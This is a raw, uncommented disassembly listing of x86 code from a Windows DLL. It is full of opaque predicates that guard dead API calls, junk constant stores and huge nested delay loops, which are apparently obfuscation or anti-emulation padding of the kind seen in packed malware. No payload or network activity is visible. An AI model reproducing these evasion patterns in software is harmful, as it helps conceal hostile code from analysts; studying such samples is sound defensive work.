lea ecx, [ebp - 0x310]
call fcn.10012046
push 0x17a1
call dword [sym.imp.USER32.dll_GetKeyboardType]
push 3
pop esi
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffec
jg 0x10017a80
mov dword [ebp - 0x20], 0x110c93b4
lea ecx, [ebp - 0x3dc]
mov dword [ebp - 0x28], 0x9fcfbce0
mov dword [ebp - 0x50], 0xfffffff6
push 2
call fcn.10011fea
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x38], 0x71658a60
mov dword [ebp - 0x2c], 0x95621847
mov dword [ebp - 0x48], 0x2da50e28
mov dword [ebp - 0x14], ebx
jmp 0x10017e2a
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3dc]
mov dword [eax + ecx*4], 0x7e815f84
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10017e17
mov dword [ebp - 0x20], ebx
mov esi, 0xb3002e9d
cmp dword [ebp - 0x20], 0xffffffef
jne 0x100180af
mov dword [ebp - 0x30], 0x3fbb4ebb
lea ecx, [ebp - 0x1e0]
push 3
call fcn.10011fea
push 3
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x14], ebx
pop edx
jmp 0x10017e75
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1e0]
mov dword [eax + ecx*4], 0xfffffffc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10017e62
cmp dword [ebp - 0x30], ebx
jne 0x10017ebf
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
xor edx, edx
inc eax
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
sub ecx, 0x7adf
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1e0]
add ecx, dword [eax]
mov eax, ebx
je 0x10017ec1
mov eax, edi
mov dword [ebp - 0x50], eax
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x30]
setne dl
xor ecx, ecx
cmp eax, edx
setg cl
xor eax, eax
test ecx, ecx
mov ecx, dword [ebp - 0x3dc]
sets al
mov dword [ecx + 4], eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
je 0x10017f25
mov dword [ebp - 0x30], ebx
jmp 0x10017f08
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10017f05
call dword [sym.imp.USER32.dll_CreatePopupMenu]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x2e
jge 0x10017ef6
lea ecx, [ebp - 0x1e0]
mov byte [ebp - 4], 0x13
call fcn.10012046
dec dword [ebp - 0x20]
jmp 0x10017e38
mov dword [ebp - 0x44], 0x90ae7359
mov eax, dword [ebp - 0x44]
mov dword [ecx + 4], eax
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x28], ebx
jl 0x10017f0e
mov dword [ebp - 0x54], 0xffffffff
mov dword [ebp - 0x38], 0xfffffff9
mov dword [ebp - 0x44c], esi
mov dword [ebp - 0x448], esi
mov dword [ebp - 0x444], esi
mov dword [ebp - 0x440], esi
mov dword [ebp - 0x14], 0x5601
cmp dword [ebp - 0x14], 0x57cf
jle 0x10017fc1
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x38], 0x4ed5
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
mov ecx, 0x1060c478
cdq
push edx
push eax
call fcn.10011c95
inc esi
cmp esi, 0x3f47
jl 0x10017f81
dec edi
dec dword [ebp - 0x38]
jne 0x10017f7f
mov edi, dword [ebp - 0x34]
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x3b8c
jl 0x10017f75
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor edi, edi
mov esi, 0xb3002e9d
inc edi
mov byte [ebp - 4], 0x15
cmp dword [ebp - 0x14], 0x557e
jge 0x10018003
mov edx, 0x100080e8
mov ecx, 0x1060c478
call fcn.100147fa
jmp 0x10018003
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x30], ebx
jmp 0x1001809b
mov dword [ebp - 0x14], ebx
jmp 0x10018028
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x60c], 0xf846c8c5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10018017
mov eax, dword [ebp - 0x1e0]
xor edx, edx
mov eax, dword [eax]
inc eax
cmp eax, 0xfffffffc
mov eax, dword [ebp - 0x54]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x44]
jl 0x10018054
mov eax, edi
cmp dword [ebp - 0x2c], ebx
jne 0x10018056
mov eax, ebx
mov dword [ebp - 0x604], ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1e0]
mov edx, dword [eax]
mov eax, dword [ebp - 0x48]
sub edx, ecx
add eax, edx
mov dword [ebp - 0x448], eax
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10018098
push edi
push ebx
push 0x1ea9
push 0x1e2f
call dword [sym.imp.USER32.dll_GetDlgItemInt]
inc dword [ebp - 0x30]
push 3
pop ecx
cmp dword [ebp - 0x30], edi
jle 0x10018012
dec dword [ebp - 0x28]
jmp 0x10017f35
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3dc]
call fcn.10012046
push edi
lea ecx, [ebp - 0x134]
call fcn.10011fea
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], 0xfffffff6
mov dword [ebp - 0x44], 0x3b8a277e
mov dword [ebp - 0x54], 0x9796a0b5
mov dword [ebp - 0x2c], 0xfffb
mov dword [ebp - 0x48], 0xb3f4b141
mov dword [ebp - 0x14], 0x69f0
cmp dword [ebp - 0x14], 0x6c62
jle 0x10018172
mov eax, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x50], edi
mov esi, ebx
and edi, eax
mov eax, esi
lea ecx, [ebp - 0x66c]
xor eax, edi
cdq
push edx
push eax
call fcn.1000d7ce
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10018134
mov eax, dword [eax]
push eax
call fcn.1004d346
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x66c]
call fcn.100125d2
inc esi
cmp esi, 0xe4c
jl 0x10018118
mov edi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
inc edi
mov dword [ebp - 0x38], edi
cmp edi, 0x14e3
jl 0x10018111
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x7331
jl 0x1001810c
xor edi, edi
inc edi
cmp dword [ebp - 0x14], 0x66b6
jge 0x10018186
push 0x1000815c
call fcn.1004d346
pop ecx
mov dword [ebp - 0x14], ebx
jmp 0x1001819e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x134]
mov dword [eax + ecx*4], 0x24039b64
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001818b
mov dword [ebp - 0x28], ebx
jmp 0x100181bb
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x134]
mov dword [eax + ecx*4], 0x837bc752
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x100181a8
mov eax, dword [ebp - 0x134]
cmp dword [eax], ebx
je 0x10018201
cmp dword [ebp - 0x28], ebx
je 0x10018201
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
push 6
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x44]
jle 0x100181ef
mov ecx, ebx
cmp dword [ebp - 0x54], ebx
je 0x100181f1
mov ecx, edi
mov eax, dword [ebp - 0x2c]
add eax, ecx
jne 0x100181fd
cmp dword [ebp - 0x20], ebx
je 0x10018201
mov ecx, edi
jmp 0x10018203
mov ecx, ebx
mov eax, dword [ebp - 0x28]
imul eax, ecx
xor ecx, ecx
cmp eax, 0xfffffffa
setne cl
sub ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
inc eax
inc ecx
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x134]
cmp ecx, dword [eax]
lea ecx, [ebp - 0x134]
setg dl
mov dword [ebp - 0x54], edx
or dword [ebp - 4], 0xffffffff
call fcn.10012046
mov dword [ebp - 0x20], 0x110c93b4
lea ecx, [ebp - 0x328]
mov dword [ebp - 0x28], 0x9fcfbce0
mov dword [ebp - 0x50], 0xfffffff6
push 2
call fcn.10011fea
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x38], 0x71658a60
mov dword [ebp - 0x2c], 0x95621847
mov dword [ebp - 0x48], 0x2da50e28
mov dword [ebp - 0x14], ebx
jmp 0x10018294
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x328]
mov dword [eax + ecx*4], 0x7e815f84
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10018281
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0xffffffef
jne 0x10018510
push 3
pop esi
mov dword [ebp - 0x30], 0x3fbb4ebb
lea ecx, [ebp - 0x208]
push esi
call fcn.10011fea
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x14], ebx
jmp 0x100182d9
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x208]
mov dword [eax + ecx*4], 0xfffffffc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100182c6
cmp dword [ebp - 0x30], ebx
jne 0x10018323
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
xor edx, edx
inc eax
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
sub ecx, 0x7adf
neg ecx
sbb ecx, ecx
inc ecx
imul ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x208]
add ecx, dword [eax]
mov eax, ebx
je 0x10018325
mov eax, edi
mov dword [ebp - 0x50], eax
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x30]
mov esi, dword [ebp - 0x328]
setne dl
xor ecx, ecx
mov dword [ebp - 0x50], esi
cmp eax, edx
setg cl
xor eax, eax
test ecx, ecx
sets al
mov dword [esi + 4], eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
je 0x1001837a
mov dword [ebp - 0x30], ebx
jmp 0x1001836f
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1001836c
call dword [sym.imp.USER32.dll_CreatePopupMenu]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x2e
jge 0x1001835d
jmp 0x100184f9
mov dword [ebp - 0x14], 0x6ef4
cmp dword [ebp - 0x14], 0x6f55
jle 0x100183f4
mov eax, ebx
mov dword [ebp - 0x34], ebx
mov edi, eax
mov dword [ebp - 0x38], 0x28e2
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x690]
and eax, edi
cdq
push edx
push eax
call fcn.1000d7ce
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100183b6
mov eax, dword [eax]
push eax
call fcn.1004d346
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x690]
call fcn.100125d2
inc esi
cmp esi, 0x3cf4
jl 0x1001839a
dec edi
dec dword [ebp - 0x38]
jne 0x10018398
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x5b71
jl 0x1001838f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [ebp - 0x50]
xor edi, edi
inc edi
mov dword [ebp - 0x38], 0x90ae7359
cmp dword [ebp - 0x14], 0x6cc3
jge 0x1001840f
push 0x10008178
call fcn.1004d346
pop ecx
mov dword [ebp - 4], 0x1b
mov eax, dword [ebp - 0x38]
mov dword [esi + 4], eax
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x28], ebx
jl 0x100184f9
mov esi, 0xb3002e9d
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x34], 0xfffffff9
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x428], esi
mov dword [ebp - 0x424], esi
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x30], ebx
jmp 0x100184e7
push 3
mov dword [ebp - 0x14], ebx
pop ecx
jmp 0x10018474
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x624], 0xf846c8c5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10018463
mov eax, dword [ebp - 0x208]
xor edx, edx
mov eax, dword [eax]
inc eax
cmp eax, 0xfffffffc
mov eax, dword [ebp - 0x44]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x38]
jl 0x100184a0
mov eax, edi
cmp dword [ebp - 0x2c], ebx
jne 0x100184a2
mov eax, ebx
mov dword [ebp - 0x61c], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x208]
mov edx, dword [eax]
mov eax, dword [ebp - 0x48]
sub edx, ecx
add eax, edx
mov dword [ebp - 0x428], eax
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100184e4
push edi
push ebx
push 0x1ea9
push 0x1e2f
call dword [sym.imp.USER32.dll_GetDlgItemInt]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jle 0x1001845b
dec dword [ebp - 0x28]
jns 0x1001842d
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 0x1a
call fcn.10012046
dec dword [ebp - 0x20]
jmp 0x1001829d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x328]
call fcn.10012046
movdqa xmm0, xmmword [0x1000c320]
lea ecx, [ebp - 0x53c]
mov dword [ebp - 0x14], 0xe0648261
lea eax, [ebp - 0x52c]
push ecx
mov dword [ebp - 0x40], 0xf2887cf2
mov dword [ebp - 0x40], 0xfffffffb
push eax
mov dword [ebp - 0x40], edi
push ecx
mov dword [ebp - 0x40], ebx
lea ecx, [ebp - 0x5c4]
mov dword [ebp - 0x40], 0xf5872d9e
movdqu xmmword [ebp - 0x53c], xmm0
call fcn.10023200
mov dword [ebp - 0x38], 0xfffffffe
mov dword [ebp - 0x14], 0xffffffe7
jmp 0x100185a0
mov dword [ebp - 0x50], 0x6df3
cmp dword [ebp - 0x50], ebx
jne 0x100185a6
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1001859d
push edi
push ebx
push 0xc9
call dword [sym.imp.USER32.dll_SetWindowRgn]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffa
jl 0x1001857b
inc dword [ebp - 0x38]
lea ecx, [ebp - 0x5c4]
call fcn.10012046
mov dword [ebp - 0x24], 0xfffffff7
lea ecx, [ebp - 0x3b8]
mov dword [ebp - 0x34], 0x7223b16a
push edi
call fcn.10011fea
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x14], ebx
jmp 0x100185e9
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3b8]
mov dword [eax + ecx*4], 0x4de8cc19
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100185d6
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100185fd
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], edi
cmp dword [ebp - 0x34], ebx
je 0x10018617
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
neg ecx
cmp ecx, eax
setge dl
xor ecx, ecx
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp edx, eax
setne cl
cmp ecx, 0xfb07d0d1
sbb eax, eax
xor edx, edx
neg eax
imul eax, dword [ebp - 0x24]
imul ecx, eax, 0x7576
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x3b8]
lea ecx, [ebp - 0x3b8]
setle dl
mov dword [eax], edx
call fcn.10012046
mov dword [ebp - 0x54], 0x110c93b4
mov dword [ebp - 0x1c], ebx
jmp 0x10018687
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd8], 0xaf1124f0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10018676
push 3
mov dword [ebp - 0x1c], ebx
pop ecx
jmp 0x100186a5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1b4], 0xf2c29a3d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10018694
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100186ba
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov dword [ebp - 0x1b0], ebx
jmp 0x10018714
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x20], ebx
jmp 0x10018709
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jl 0x10018706
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x28], ebx
jmp 0x100186f2
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xd8], 0xe1dfe009
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jl 0x100186e1
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0xd8]
dec dword [ebp - 0x14]
jns 0x100186d9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x100186ca
inc dword [ebp - 0x1b0]
cmp dword [ebp - 0x1b0], ebx
jle 0x100186c2
mov dword [ebp - 0x44], 0x9fcfbce0
mov dword [ebp - 0x14], 0xec2e0cf5
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10018740
push 0x5c2
push ebx
push ebx
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
mov dword [ebp - 0x14], ebx
jmp 0x1001875c
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10018759
push 0x17a1
call dword [sym.imp.USER32.dll_GetKeyboardType]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffec
jg 0x10018745
mov dword [ebp - 0x50], 0xfffffff6
lea ecx, [ebp - 0x140]
push 2
call fcn.10011fea
mov dword [ebp - 4], 0x1e
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0x4f16
cmp dword [ebp - 0x38], 0x5118
jle 0x100187f6
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
or eax, ecx
lea ecx, [ebp - 0x6c0]
cdq
push edx
push eax
call fcn.1000d7ce
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100187b6
mov eax, dword [eax]
push eax
call fcn.1004d346
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x6c0]
call fcn.100125d2
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, 0x7942
jl 0x10018799
inc edi
cmp edi, 0xa50
jl 0x10018797
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x2dbb
jl 0x10018795
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor edi, edi
inc edi
cmp dword [ebp - 0x38], 0x4c48
jge 0x1001880a
push 0x100081c0
call fcn.1004d346
pop ecx
mov dword [ebp - 0x1c], ebx
jmp 0x10018822
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x140]
mov dword [eax + ecx*4], 0x204e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1001880f
mov dword [ebp - 0x1c], ebx
jmp 0x1001883e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc0], 0xd59e57ad
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1001882d
mov dword [ebp - 0xbc], edi
cmp dword [ebp - 0xbc], ebx
jl 0x1001887a